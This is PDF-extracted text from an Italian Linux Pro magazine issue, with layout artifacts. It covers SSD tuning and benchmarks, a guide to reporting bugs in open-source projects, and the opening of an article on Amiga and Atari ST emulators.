modifi care la parte che riporta la parola “default”. A questa, dovete aggiungere “,discard” così che l’intera riga appaia così: /dev/sda1 / ext4 default,discard 0 1Ecco tutto. Salvate il fi le, riavviate e il vostro disco avrà il supporto al TRIM attivo. Questo è il trucco più importante da applicare al vostro SSD.

Estendere la vitaCi sono altri modi per dare una marcia in più al vostro disco e prolungarne la vita. La più semplice di queste tecniche è l’aggiunta dell’opzione noatime alle opzioni di mount, in modo simile a quanto avete fatto con discard poco fa. Di norma i fi lesystem Linux salvano la data dell’ultimo accesso in lettura di un fi le e quella dell’ultima modifi ca. Con l’opzione noatime verrà memorizzata solo la data dell’ultima modifi ca, riducendo il numero di scritture necessarie per aggiornare questo metadato e allungando la vita dell’unità. Fate attenzione, però: vecchie applicazioni, come Mutt, non funzioneranno in modo corretto se abilitate noatime, quindi prima verifi cate la compatibilità di questa opzione con il software che usate. Potete allungare la vita del disco SSD anche studiando bene quali partizioni mettere su di esso. Per esempio, se avete a disposizione anche un disco tradizionale nel vostro sistema, potreste considerare di usare

TPS

MB/s

MB/s

MB/s

S

Compile Bench Initial Create

Postmark

Compile Bench Read Compiled Tree

Compile Bench Compile

Unpacking the Linux Kernel

Crucial M4Intel 330

Compile Bench Initial Create

Postmark

Compile Bench Read Compiled Tree

Compile Bench Compile

Unpacking the Linux Kernel

Risultati

il disco SSD per i fi lesystem che non cambiano molto spesso, come / e /home, lasciando cose come /var, /tmp e swap sul disco tradizionale. Se questo non è possibile, potete fare altri cambiamenti per ridurre la frequenza delle scritture in queste directory. Ad esempio, potete incrementare la severity dei messaggi di log che verranno salvati modifi cando il fi le /etc/rsyslog.conf (usate man rsyslog.conf per ulteriori dettagli), oppure potete ridurre la tendenza a usare lo swap (swappiness). Questo lo ottenete eseguendo echo 1 > /proc/sys/vm/swappiness

I drive sotto esameLa tecnologia di storage sottostante i dischi SSD varia di poco. Quello che fa la maggior differenza per quel che riguarda le prestazioni sono il controller e il fi rmware – l’hardware che decide come e dove scrivere i dati sul disco. Un cattivo controller può rallentare il disco, particolarmente quando questo invecchia, e può portare a velocità differenti tra scritture di grandezze diverse. Le due unità che vi presentiamo offrono due controller diversi. Il Crucial M4 usa un controller Marvel, mentre l’Intel 330 usa un Sandforce. Gli stessi controller vengono impiegati su molti altri dischi, quindi i nostri risultati vi possono essere d’aiuto nella scelta su quale unità acquistare, anche se non opterete per uno dei due modelli provati. Abbiamo messo alla prova i dischi usando i test PostMark, Compile

Bench e Kernel Unpacking della suite Phoronix, così da dare uno sguardo a come i dischi si comportano in situazioni reali. Tutti i test sono stati condotti sotto Ubuntu 12.04, con ext4 e l’opzione discard impostata in /etc/fstab. Il test Compile Bench forse è il più interessante, visto che la sua attività cerca di simulare azioni in grado di invecchiare il fi lesystem. In questi test il disco Intel con controller Sandforce si è comportato molto meglio. Detto ciò, il disco di Crucial è stato più veloce quando si è trattato di avere a che fare con fi le di piccole dimensioni nel test PostMark e si è comportato marginalmente meglio nel test legato al kernel. LXP

LINUX PRO 120 17

Hardware

Page 20: LinuxPro-N120_Settembre2012

BugBug

Tutti i programmi contengono errori. Potete aver trovato quello che considerate il programma più affidabile

di sempre, ma siamo pronti a scommettere che all’interno si celano dei problemi. Lo vediamo anche negli apparecchi di tutti i giorni, dalle automobili richiamate in fabbrica per un aggiornamento software, a tutti gli aggiornamenti che periodicamente dobbiamo effettuare su PC, tablet e telefoni cellulari. Perché tutti i programmi hanno degli errori all’interno? Perché sono, per quanto sofisticati, scritti da esseri umani. Ogni programma è una complessa collezione di diverse parti, ognuna delle quali funziona con modi e tempi diversi, e con diverse caratteristiche. Anche i migliori programmatori scrivono programmi che contengono errori, ma fortunatamente le ammaccature nell’armatura della perfezione possono essere riparate da un’altra grande caratteristica dei programmi: i problemi possono essere risolti. Nel gergo del computer, questi problemi (o errori) sono chiamati bug, e i bug fanno

nessuna abilità di programmazione. In questo articolo non parleremo nello specifico di una delle tante comunità Open Source, quindi tutto quello che andremo a dire potrà essere tranquillamente applicato a qualsiasi gruppo nel quale siate interessati a prendere parte. Prima di continuare, si può capire come segnalare un bug, se prima si capisce come viene rilasciato il software nella comunità Linux. Esistono due tipi di comunità differenti:Δ Upstream – sono progetti software indipendenti che hanno creato molti dei programmi che usiamo e amiamo. Ad esempio LibreOffi ce, OpenShot, GIMP, ecc.Δ Downstream – sono le distribuzioni Linux che raccolgono tutti i programmi Upstream e li rilasciano come un unico sistema integrato. Sono famosi esempi Ubuntu, Fedora e Debian.Il percorso con cui i programmi nascono dal computer dei programmatori e arrivano nelle distribuzioni Linux è all’incirca questo:Δ il programmatore di un progetto Upstream crea le funzionalità del programma nel codice sorgente locale su cui lavora (prendiamo come

parte del naturale processo di sviluppo del software. Fortunatamente, vivere nel fantastico mondo della comunità Open Source (di cui facciamo parte) significa che ognuno di noi può contribuire a trovare e riportare questi bug agli sviluppatori. Nel mondo Open Source, segnalare i bug è un modo estremamente importante con cui si può dare un contributo alla comunità. Esiste un pregiudizio per cui riportare i bug viene considerato come poco rispettoso, perché sottolinea i difetti, o semplicemente perché richiede che gli sviluppatori facciano del lavoro aggiuntivo. Niente di più sbagliato. Come sviluppatori in alcuni progetti, possiamo assicurarvi che i nostri utenti sono i nostri occhi e le nostre orecchie per trovare i bug e i problemi in un programma. Se non avessimo la lista dei bug riportati, non potremmo avere percezione della qualità del software. Come tale, contribuire nel segnalare questi problemi è un esercizio tremendamente prezioso, e chiunque può fare la sua parte: non servono grandi conoscenze tecniche, e sicuramente

Segnalare i bugScoprire i problemi che affliggono i programmi è un ottimo modo

per contribuire alla comunità Open Source

18 LINUX PRO 120

Page 21: LinuxPro-N120_Settembre2012

Bug

esempio il creare una funzionalità nel programma OpenShot – www.openshotvideo.com);Δ procede, quindi, a incorporare il suo codice nel repository principale del codice sorgente del progetto;Δ gli utenti interessati alla versione Upstream, dopo aver compilato il programma, provvederanno a testarne le nuove funzionalità e, in base a diversi test, riporteranno dei bug. Ogni programmatore coinvolto in quella funzionalità provvederà a correggere il bug;Δ quando una versione Upstream è abbastanza matura, si procede al rilascio con un numero progressivo di riferimento (es. OpenShot 1.0);Δ con il rilascio di una nuova versione di un programma Upstream, gli sviluppatori di una distribuzione provvedono a creare i pacchetti e rilasciare quindi il programma nella versione di sviluppo della distribuzione (es. Ubuntu e Fedora);Δ anche in questo caso, gli utenti che seguono la versione di sviluppo della distribuzione, provvedono a scaricare una versione aggiornata e testarla, e quindi riportano eventuali bug in aree adibite sui siti Web delle distribuzioni (si utilizzano software comunemente chiamati bug tracker che tengono traccia dei bug e permettono di aggiornarli aggiungendo informazioni e/o fornendo la soluzione al problema e la versione in cui il bug è stato risolto);Δ gli sviluppatori delle distribuzioni risolvono i problemi (molti dei quali sono spesso di integrazione e creazione dei pacchetti) e, se necessario, riportano le correzioni nella versione Upstream;Δ quando la distribuzione è pronta, anch’essa viene rilasciata con un numero di versione (ad esempio, Ubuntu 12.04 – che identifi ca anno ‘2012’ nel mese di ‘Aprile’).A questo punto si possono avere due tipi di segnalazione bug:Δ bug che affl iggono il programma Upstream originale;Δ bug che sono stati introdotti durante la creazione e l’integrazione dei diversi pacchetti nella distribuzione Downstream.In un mondo perfetto, i bug scoperti in una distribuzione sono riportati dagli utenti che la utilizzano e se si scopre che questi bug non sono stati introdotti dagli sviluppatori della distribuzione, questi vengono riportati al programma Upstream. Date un’occhiata al box con gli approfondimenti, per avere maggiori informazioni su come differenti bug possano essere connessi. Il nostro intento qui è quello di fare in modo che il progetto Upstream venga a conoscenza dei bug che affl iggono il codice sorgente di quel programma, e che la distro, invece, venga a conoscenza solamente di quei bug che sono introdotti durante la creazione dei pacchetti e l’integrazione del software. L’anatomia di un bugPrima che si possa riportare un bug, bisogna sapere come è fatto. In poche parole, un bug è un comportamento inatteso o inaccurato in un software. Ecco alcuni esempi:

Δ si clicca su un pulsante in un programma e il programma si blocca (questo non dovrebbe mai accadere);Δ si sommano due numeri durante un calcolo e il risultato è errato (il risultato deve essere sempre quello corretto);Δ una traduzione è errata o mostra un termine nella lingua sbagliata (i termini devono essere corretti in ogni lingua supportata).Per ognuno di questi esempi si presume che sappiate a priori quale sia il comportamento corretto atteso e che siate, inoltre, in grado di stabilire quando si verifi cano comportamenti errati. A volte è molto facile, altre volte no. Dovete sempre ricordare che un bug rappresenta soltanto un comportamento inatteso o inaccurato, e non necessariamente un modo di funzionamento o un’architettura del programma che non vi piace. Per esempio, se gli sviluppatori decidono di cambiare l’icona dell’applicazione con una dell’orribile colore rosa shocking, potrete anche odiare come appare, ma non si tratta di un bug. Non intasate il sito di segnalazione bug del progetto con la lista di tutte le cose che non vi piacciono, per questo ci sono altri canali di comunicazione. Tutti i bug hanno due importanti caratteristiche:Δ i sintomi – per esempio, se cliccate su un pulsante in un’applicazione e questa si blocca oppure si chiude da sola, il sintomo è parecchio evidente, cliccate quel pulsante e l’applicazione smette di funzionare. Altri bug possono avere sintomi più subdoli, come un degrado graduale delle prestazioni o, per esempio, l’errato salvataggio di alcuni dati;Δ la causa – se cliccate sul pulsante nell’applicazione e questa si blocca, qual era il pulsante su cui avete cliccato? Cosa avete fatto prima di premerlo? E quali parti del codice ha provato a chiamare l’applicazione in quel momento?Molte persone che segnalano bug, prima scoprono i sintomi e poi vanno a fondo nel problema per trovarne la causa.

Raccolta di proveQuando si scopre un bug in una parte del software, si vuole essere in grado di fornire agli sviluppatori quante più informazioni possibili, così che possano risolverlo più facilmente. La miglior prova che possiamo fornire è quella che viene chiamata riprodurre un bug. Si forniscono, in poche parole, tutti i passi necessari che lo sviluppatore di turno deve effettuare sul proprio sistema per riprodurre il problema in questione e, in questo modo, essere in grado di analizzarlo e infi ne risolverlo. Per alcuni bug, essere in grado di riprodurli è abbastanza semplice. Tutto quello che si deve fare è ricordare i passi precedenti all’operazione che si stava effettuando quando è occorso il bug. Più è accurata la descrizione dei passi precedenti, più semplice sarà il lavoro dello sviluppatore. Inoltre, se ricordate tutti i passi, prima di segnalare il bug, provate a ripercorrerli voi per primi per assicurarvi che la procedura sia corretta. Sfortunatamente, ci sono situazioni in cui è diffi cile essere in grado di riprodurre le azioni che hanno causato il bug. In alcuni errori non è così semplice come nel nostro esempio, in cui si effettuano alcune operazioni, poi si clicca su un pulsante e il programma smette di funzionare: per lo stesso programma ci possono essere differenti condizioni iniziali (ad esempio dipendenti, magari, dal tipo di fi le che abbiamo aperto), condizioni di connettività o di dati inseriti, e magari solo in una certa

L’esempio di un bug aperto su Launchpad, il bug tracker comunemente usato dalla distribuzione sudafricana Ubuntu e da altri progetti

PrivacyQuando riportate un bug, ricordate che le informazioni che state fornendo saranno disponibili pubblicamente su Internet. Per esempio, se intendete condividere schermate, screencast, fi le di log o altro materiale, assicuratevi che nessuno di questi contenga materiale che volete mantenere privato. Dovete sempre dare un’occhiata al materiale che state fornendo e verifi care di poterlo condividere pubblicamente senza timori.

LINUX PRO 120 19

Page 22: LinuxPro-N120_Settembre2012

Bug

Bugzilla è un altro famoso bug tracker. In questa immagine, per esempio, viene usato per segnalare un bug riscontrato in LibreOffi ce

Niente di personaleQuando qualcuno riporta un bug, non solo inizia di fatto la discussione/conversazione riguardo ad esso, ma crede di stipulare una specie di contratto uffi cioso: “Io ho riportato il bug, quindi adesso voi (sviluppatori) lo risolverete quanto prima, giusto?”. Tenete sempre a mente che molti sviluppatori che contribuiscono alla comunità Open Source sono volontari, mentre quelli che sono pagati dalle compagnie sono sempre delegati a correggere i bug che servono a loro. Questo può signifi care che il bug riportato potrebbe richiedere settimane prima di essere risolto o addirittura considerato. Provate a non prendere la situazione troppo sul personale.

raccolto. Il processo di raccolta delle prove è uno dei più importanti e utili contributi che si possano fare per permettere di scovare non solo i sintomi di un problema, ma anche le potenziali cause.

Iniziare una conversazioneFino a questo momento avete raccolto una serie di informazioni che possono includere la lista dei sintomi, schermate, screencast e fi le di log. Il passo immediatamente successivo è quello di fornire tutte queste informazioni agli sviluppatori, in modo che possano revisionarle e quindi risolvere il problema. Sebbene si sentano spesso delle persone dire che hanno riportato dei bug nella comunità Open Source, tutto ciò suona come se questo si trattasse di un processo una-tantum, ovvero che una volta fatta la segnalazione sia possibile dimenticarsi del problema, tanto gli sviluppatori saranno in grado di risolverlo quanto prima. In realtà non è del tutto vero. Innanzitutto non si tratta tanto di riportare un problema, quanto di iniziare una conversazione con gli sviluppatori. Quando si sottopone un bug, è solo il primo passo di questa conversazione, che generalmente funziona in questo modo:1 si riporta il bug;2 uno sviluppatore risponde chiedendo maggiori dettagli;3 voi riportate queste informazioni aggiuntive;4 i passi 2 e 3 è molto probabile che si ripetano, fi ntanto che le informazioni permettano di risalire alle cause del problema;5 lo sviluppatore corregge il problema.Anche se è importante il primo passo (senza il quale il problema non sarebbe di fatto mai sottoposto agli sviluppatori), è di altrettanto pari importanza continuare a rispondere alla discussione, al fi ne di aiutare lo sviluppatore a trovare la causa del problema. Poiché queste discussioni non possono essere salvate su un forum o su altri strumenti poco adatti, viene utilizzato generalmente un programma chiamato

(e comunque, come molti dei nostri lettori sanno, su Linux i fi le di log si trovano in /var/log/);Δ File di esempio – se si scopre che caricare un certo fi le in un programma (ad esempio un video che vogliamo guardare con un video player) è la causa del bug, allora può essere molto utile fornire questo fi le quando si riporta un bug. Poiché un fi le può essere piuttosto grande, è consigliabile caricarlo su servizi come Dropbox o Ubuntu One e poi copiare il link di condivisione nella segnalazione. Ovviamente assicuratevi di avere i diritti necessari a condividere tale fi le. Un’altra tecnica molto utile è quella di passare alla modalità di debug del programma. Molte applicazioni forniscono la possibilità di passare a questa modalità e ottenere così maggiori informazioni di sistema quando si presenta il bug. Recentemente abbiamo trovato un bug nel lettore multimediale Rhythmbox che, semplicemente, si bloccava inaspettatamente. Per cercare di capire il problema, abbiamo lanciato il lettore da riga di comando, usando l’opzione -d per abilitare la modalità di debug, in questo modo: $ rhythmbox -dIl programma si è avviato e abbiamo iniziato a usarlo normalmente. Un sacco di informazioni di debug hanno iniziato ad apparire nel terminale, e alcuni minuti più tardi, quando il programma si è bloccato, abbiamo notato che alcune di queste informazioni facevano riferimento alla funzione di dissolvenza in Rhythmbox. Abbiamo, quindi, copiato e incollato le informazioni in un fi le di testo. Successivamente abbiamo disabilitato la funzionalità di dissolvenza e ricominciato a utilizzare Rhythmbox normalmente. Dopo circa tre giorni di utilizzo non si era più bloccato e abbiamo arguito che il problema fosse strettamente legato a quella funzionalità. Abbiamo, infi ne, riportato il bug sul sito del progetto, sottolineando il problema, cosa è successo quando abbiamo disabilitato la funzione e allegando il fi le di testo con le informazioni di debug che avevamo

combinazione questi danno luogo al bug in questione. Se un computer sembra bloccarsi in maniera casuale, è alquanto diffi cile capire quale sia la motivazione di un tale comportamento. In questi casi, in cui non si sia in grado o non si sappia come riprodurre il bug, è comunque importante cercare di collezionare più informazioni possibili nel momento in cui il problema si presenta, questo per dare agli sviluppatori almeno un indizio su come riprodurre (e quindi identifi care e poi risolvere) il bug. Per esempio, se vedete l’interfaccia rotta per qualche motivo, o state guardando un video e il player lo riproduce in modo errato o non fl uido, potete fornire alcune informazioni visive che sono di grande aiuto:Δ Schermate (screenshot) – se un problema si presenta con un errore visivo, potete semplicemente fare una schermata del vostro ambiente di lavoro per mostrare, visivamente, lo stesso errore che avete incontrato. È molto facile effettuare una schermata sia con Windows e Linux (tasto Stamp), sia con Mac OS X (premere contemporaneamente Cmd + Shift + 3). Nel caso peggiore potete utilizzare il programma Open Source GIMP;Δ Screencast – se il bug che si presenta è alquanto diffi cile da descrivere o semplicemente volete mostrare in modo accurato come riprodurlo, potete registrare un video di tutto quello che state facendo sullo schermo. Questi tipo di video si chiamano Screencast e potete registrarne uno con programmi come RecordMyDesktop;Δ File di Log – molte applicazioni salvano alcune informazioni su quello che stanno facendo in

alcuni fi le testuali, chiamati fi le di log. Queste informazioni sono spesso utili solo agli sviluppatori, ma

sapere dove si trovano e come reperirli richiede una buona conoscenza dei sistemi Open Source e dell’applicazione in particolare. Su alcuni sistemi (ad esempio Ubuntu) i fi le di log sono

inviati automaticamente quando si riporta un bug all’interno del sistema

20 LINUX PRO 120

Page 23: LinuxPro-N120_Settembre2012

Bug

Collegare i bugUna funzionalità molto utile nel bug tracker Launchpad è che i bug che affl iggono le versioni Upstream dei programmi possono essere collegate ai bug che, invece, colpiscono la distribuzione. Ad esempio, se c’è un bug nel programma Banshee che si blocca quando si preme il tasto Play, se il bug esiste per il programma, esiste anche per una certa distribuzione (diciamo Ubuntu). Quando il bug in Launchpad è collegato al bug Upstream, i cambiamenti in una delle due segnalazioni vengono automaticamente sincronizzati tra i due sistemi di bug tracking. Questo assicura che lo stato delle due differenti segnalazioni che riguardano lo stesso problema siano aggiornate contemporaneamente. In questo modo la comunità degli sviluppatori può tenere sotto controllo le segnalazioni e condividere le soluzioni al problema.

tutti considerati “Critici” o con un’altra priorità, per questo gli sviluppatori devono assicurarsi di avere una lista ordinata per importanza. I più importanti e urgenti da risolvere avranno, quindi, la massima priorità. Più informazioniUna volta che avete riportato correttamente un bug, probabilmente uno degli sviluppatori risponderà chiedendo di discuterlo. Lo sviluppatore vi potrà chiedere maggiori informazioni, oppure di eseguire dei semplici comandi e poi fornirgli i risultati (se il bug non fosse facilmente riproducibile, ad esempio, su altri sistemi). Dovete sempre cercare di rispondere a queste richieste di informazioni, poiché aumentano esponenzialmente la possibilità che il bug venga risolto. Lo sviluppatore vi potrebbe anche chiedere di utilizzare una nuova versione del programma, per verifi care che il bug sia stato effettivamente risolto. Questo cambia, ovviamente, da sistema a sistema, e ha diversi livelli di complessità. Uno sviluppatore Upstream potrebbe chiedervi di scaricare i sorgenti dell’ultima versione del programma, compilarli e quindi provare a vedere se il bug si ripresenta. In alternativa potrebbe esservi richiesto di installare un nuovo pacchetto e verifi care che tutto funzioni. Dovrete valutare quanto vi sentiate a vostro agio a installare questi programmi. Se non vi sentite sicuri nell’installare nuovi programmi sul vostro computer (o non avete le conoscenze necessarie per compilarli come si deve), basta che lo diciate allo sviluppatore. Potreste, tuttavia, chiedere a qualcun altro di testare la nuova versione. Al procedere della conversazione all’interno del bug, potreste vedere, a un certo punto, che questo è stato risolto. Congratulazioni! Avete appena contribuito in modo splendido al Free Software. Se non vi foste presi la briga di segnalare il problema, probabilmente non sarebbe mai stato identifi cato e risolto. Riportare i bug, ottenere delle risposte da questi bug e imparare da queste risposte vi aiuterà a contribuire in modo più effi cace all’Open Source e, ovviamente, a riportare sempre più bug. LXP

Δ Sommario – questa è la descrizione, in una riga, del problema. Potete pensare a questo campo come all’oggetto di una e-mail: deve descrivere il problema in modo conciso. Cercate di essere chiari e in nessun modo cercate di dare maggiore importanza al vostro problema (ad esempio non scrivete “Bug terribile in Rhythmbox, da correggere immediatamente!”, ma piuttosto “Abilitare la dissolvenza genera dei blocchi casuali nel programma”);Δ Descrizione – ovviamente qui deve essere inserita una defi nizione più lunga e accurata del problema, molto simile al corpo di una e-mail. Ora, dovrete riportare i dettagli del bug e dei sintomi, e possibilmente quello che pensate su come riprodurre il problema. La chiave è essere precisi, dettagliati e andare dritti al punto.Alcuni sistemi di bug tracking vi domanderanno solo queste informazioni, ma ci sono altri campi di stato, che abbiamo menzionato prima, che gli sviluppatori e i membri della comunità useranno per aggiungere ulteriori informazioni riguardo al bug. Questi sono:Δ Priorità – questo campo descrive quanto importante è il fatto che il bug venga risolto. Ci sono generalmente una serie di opzioni disponibili (“Critical”, “High”, “Medium”, “Low”, ecc.) e lo sviluppatore di turno deciderà l’importanza del bug e quindi la sua priorità. Un bug che genera perdita di dati o blocchi improvvisi, verrà probabilmente contrassegnato come “Critical” (critico), un altro che, invece, genera un piccolo inconveniente avrà una priorità più bassa;Δ Stato (status) – questo rappresenta lo stato corrente del bug nel suo ciclo di vita. Le valorizzazioni più comuni sono, “Nuovo” (un bug appena inserito che non è ancora stato preso in carico da uno sviluppatore), “Confermato” (uno sviluppatore ha confermato che il bug esiste), “Incompleto” (uno sviluppatore ha domandato per ulteriori dettagli che non sono ancora stati forniti), “In corso”, “Fix committed” (la soluzione al problema è stata portata nel codice sorgente), “Fix released” (e rilasciata nell’ultima versione) e “Invalido” (il problema riportato non è considerato un bug dagli sviluppatori);Δ Assegnato a (assigned to) – se uno sviluppatore vuole risolvere il problema, può assegnare il bug a se stesso, in modo da far sapere agli altri sviluppatori che sta lavorando su quel bug.Alcune persone che riportano bug tendono a essere un po’ troppo sensibili riguardo alle impostazioni di priorità e stato. Alcune persone si possono offendere se riportano un bug e poi lo stato viene impostato su “Invalido” (poiché gli sviluppatori non considerano tale problema un bug). Un altro esempio è quando una persona che riporta il bug pensa che sia di elevata importanza, e invece viene impostata un priorità molto bassa. In casi come questi ricordate che gli sviluppatori probabilmente conoscono il programma molto meglio di voi. La priorità è assolutamente relativa. Se ci sono un centinaio di bug riportati, non possono essere

bug tracker. Un bug tracker è un programma (molto simile come

funzionamento proprio a un forum) che permette di aprire un bug e di raccogliere la conversazione riguardante quel singolo problema.

Come abbiamo detto, è un programma molto simile

a un forum, ma ha una serie di funzionalità aggiuntive

che consentono di fornire maggiori dettagli sul bug, ad esempio assegnare priorità e persone che ci stanno lavorando, oppure di allegare fi le (di log o le schermate). Questi programmi permettono inoltre di associare il bug a una specifi ca versione del software (ad esempio la versione 1.1, piuttosto che la più recente 1.2). La maggior parte dei bug tracker è ovviamente disponibile con interfaccia Web e contiene le informazioni principali all’inizio della descrizione del bug stesso, per poi mostrare, a seguire, l’eventuale evolversi della discussione. In pressoché tutti i progetti Open Source, il bug tracker è disponibile sul sito Web di riferimento ed è aperto a tutta la comunità perché possa contribuire, aggiungendo nuovi bug o semplicemente come raccolta di informazioni per chi un bug lo deve risolvere. Esempi dei più utilizzati bug tracker sono Bugzilla, Launchpad, Trac e altri. Ognuno di questi differenti sistemi fornisce alcune caratteristiche di base su quello che un bug tracker deve immagazzinare su un bug, ma ovviamente hanno caratteristiche diverse che li rendono differenti l’uno dall’altro. Differenti comunità Open Source hanno differenti approcci su come essi considerano giusto tracciare i singoli bug. Alcuni progetti hanno il loro bug tracker personalizzato e installato sui propri server Web (e utilizzano spesso proprio Bugzilla), altri, invece, preferiscono utilizzare un servizio di hosting dedicato (come Launchpad). Non esiste la formula magica per cui si possa conoscere come funzionano tutti i singoli bug tracker, ma fortunatamente una volta avuta esperienza con uno di essi, non è poi tanto diffi cile utilizzare gli altri. Per un progetto su cui sta lavorando un nostro collaboratore, egli ha scelto di utilizzare Launchpad per riportare i bug, potete dare un’occhiata alla lista dei bug proprio qui: https://bugs.launchpad.net/ubuntu- accomplishments-system . Non andremo a parlare dei singoli sistemi di bug tracking, ma piuttosto forniremo le indicazioni generali per contribuire a riportare un bug. Tutte le informazioni si applicano indipendentemente dal sistema di bug tracking utilizzato dal progetto. Come abbiamo detto prima, un bug segnalato su un sistema di bug tracking contiene alcune informazioni sullo stato del bug stesso (così come un’eventuale conversazione presente). Diamo ora un’occhiata ai campi più comuni che vi verrà richiesto di compilare sottomettendo un bug:Δ Componente (component) – tipicamente l’applicazione per la quale si sta effettuando la segnalazione del bug;

LINUX PRO 120 21

Page 24: LinuxPro-N120_Settembre2012

Retrogaming

Icomputer sono fantastici a fingere di essere altri computer. A patto che il vostro processore abbia grinta a sufficienza e i vostri banchi

di RAM abbiano abbastanza spazio, potete trasformare il vostro PC in quasi ogni altro computer o console di videogiochi uscita negli ultimi decenni. Naturalmente, non è esattamente la stessa cosa: dovrete essere creativi se volete ricreare l’aspetto, le sensazioni e l’odore della macchina originale. Ma un PC decente può eseguire programmi scritti per un’ampia gamma di piattaforme, tutto grazie all’abbondante offerta di emulatori Open Source. Essenzialmente, un emulatore è un programma che crea hardware virtuale, nel quale potete caricare il software originale. Se pensate all’Amiga, per esempio, nella sua forma reale è un processore Motorola 68000 e un pugno di chip di supporto. Un emulatore fornisce una versione virtuale di questi chip, permettendovi di caricare il sistema operativo

originale e i programmi in esso, e per quanto ne sanno i programmi, essi sono eseguiti su di una macchina originale. Scrivere gli emulatori è un lavoro duro, poiché la maggior parte dell’hardware classico ha peculiarità non documentate, ma grazie agli industriosi sforzi di alcune squadre di smanettoni, ne abbiamo un sacco con cui giocare. Ci sono buone ragioni per l’emulazione: Δ potete eseguire vecchi programmi dei quali non c’è nessuna versione Linux;

Δ potete usare il vostro vecchio software se la macchina originale ha reso l’anima;Δ potete giocare ai giochi classici (senza dubbio con più intensità dei blandi FPS di oggi);Δ potete provare computer classici senza doverli comprare;

Δ potete vedere com’erano le cose ai vecchi tempi.In questo articolo vedremo alcuni dei computer e delle console classiche più popolari e vi mostreremo come farli funzionare in forma emulata. Qui useremo Ubuntu, ma tutti gli emulatori sono Open Source e potrebbero essere disponibili negli archivi di pacchetti della vostra distribuzione. Notate, comunque, che per far funzionare molti di questi emulatori, avrete bisogno delle immagini ROM originali

del software incluso nelle macchine (es. il sistema operativo di Amiga). Questa, legalmente, è un’area un po’ grigia; molti obietterebbero che se possedete la macchina originale, non dovrebbe esservi

precluso fare una copia dei dati della ROM (o cercarli su Internet). Però, mentre le immagini di ROM abbondano su Internet, di solito contengono codice soggetto a diritti d’autore, perciò non vi diremo come ottenerli. Speriamo nella vostra comprensione!

“Potete trasformare il vostro PC in quasi ogni altro computer o console di videogiochi”

Vi mancano i gloriosi giorni dell’Amiga? Vi va di giocare di nuovo a quei vecchi giochi del SNES? Linux Pro vi mostra i migliori emulatori in circolazione...

RRRRRRRRRRRRRRRRRRRRRRRReeeeeeeeeeeeeeeettttttttttttttrrrrrrrrrrrrrrrrroooooooooooooooooooooooggggggggggggggggggggggggggggggggggggaaaaaaaaaaaaaaaaaammmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmiiiiiiinnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnngggggggggggggggggggggggggggggggggggggggggggggggggggg

24 LINUX PRO 120

RIPORTATE INDIETRO IL

TEMPO

Page 25: LinuxPro-N120_Settembre2012

Retrogaming

Commodore AmigaEnormemente popolare negli ultimi anni ‘80 e nei primi ‘90, l’Amiga era una macchina notevole per il suo tempo, offrendo capacità grafi che e audio molto superiori ai PC. Il suo sistema operativo a interfaccia grafi ca forniva la multitasking con prelazione mentre la maggior parte degli utenti di PC armeggiavano con il prompt del DOS ed era un’ottima macchina per i giocatori. Purtroppo, Commodore era completamente ineffi cace quando si trattava di commercializzazione e strategia ed entro la fi ne degli anni ‘90 la linea Amiga era di fatto terminata. Tuttavia, la maggior parte della redazione di Linux Pro ha cari ricordi della macchina. A causa dell’uso esteso di Amiga di chip speciali, scrivere un emulatore accurato è un compito diffi cile. Il meglio conosciuto è UAE, che è nato come Emulatore di Amiga Inutilizzabile (Unusable Amiga Emulator) perché non si avviava nemmeno. Oggi la U sta per UNIX, ma UAE si esegue su una gamma di altre piattaforme. Ci sono molti fork in circolazione su Internet, tra i quali i più popolari sono E-UAE e PUAE. Potete ottenere il primo dall’archivio di pacchetti di Ubuntu (o di Debian) con: sudo apt-get install e-uaeUna volta installato, eseguite e-uae per far saltar fuori l’interfaccia. La maggior parte degli emulatori vi fanno armeggiare con modifi che a riga di comando, perciò siamo lieti che E-UAE fornisca una piacevole alternativa punta-e-clicca GTK. La prima cosa che dovrete trovare è un’immagine

della ROM per Kickstart, il fi rmware dell’Amiga che è responsabile dell’avvio e delle funzioni principali del SO. Nella scheda Memory della GUI di E-UAE, selezionate la sua posizione sul vostro sistema; poi procuratevi un’immagine del fl oppy disk di Workbench in formato ADF, e selezionatela nella scheda Floppy disks. Una volta fatto, premete Start. Dopo alcuni momenti, apparirà la scrivania di Workbench. Bentornati ai giorni gloriosi! Potete ora tornare all’interfaccia di E-UAE e inserite altre immagini di fl oppy disk. Se spegnete la macchina, potete cambiare varie impostazioni dell’hardware,

Atari STSebbene non fosse tanto potente quanto l’Amiga, l’opera di Atari era una popolare alternativa e aveva guadagnato sostenitori nell’industria musicale grazie al fatto che includeva porte MIDI. Era basata sullo stesso processore della linea Amiga (il Motorola 68000), perciò molti giochi

E-UAE con Workbench in esecuzione. Abbiamo anche avviato Frontier per una schermata, ma siamo scoppiati in lacrime dalla nostalgia dopo aver sentito la colonna sonora del titolo

Questo autore ha lasciato il suo splendido Atari ST davanti a una stufa, cosa che ha fatto diventare i tasti tutti traballanti

come la quantità di memoria e il tipo di processore che ha l’Amiga virtuale. Durante l’uso, potreste scoprire che il mouse si comporta stranamente, per sistemarlo passate alla modalità a schermo intero con F12+S (e premeteli di nuovo per disattivarla). E-UAE ha buone prestazioni con i giochi, come anche con il software “serio” e in modo predefi nito potete usare il tastierino numerico come joystick virtuale. Usate 8 e 2 per su e giù, 4 e 6 per sinistra e destra, e 5 per sparare. Per avviare un gioco, selezionate il suo fi le immagine ADF come prima unità e riavviate l’Amiga virtuale.

furono portati tra le due piattaforme, con la versione dell’Amiga che di solito aveva una grafi ca migliore. Purtroppo, Atari si è persa in un bicchiere d’acqua e impiegò tutte le sue risorse a lavorare sulla mal predestinata console Jaguar, perciò la linea ST terminò a metà degli anni ‘90. Alcuni pazzi sostenitori tedeschi

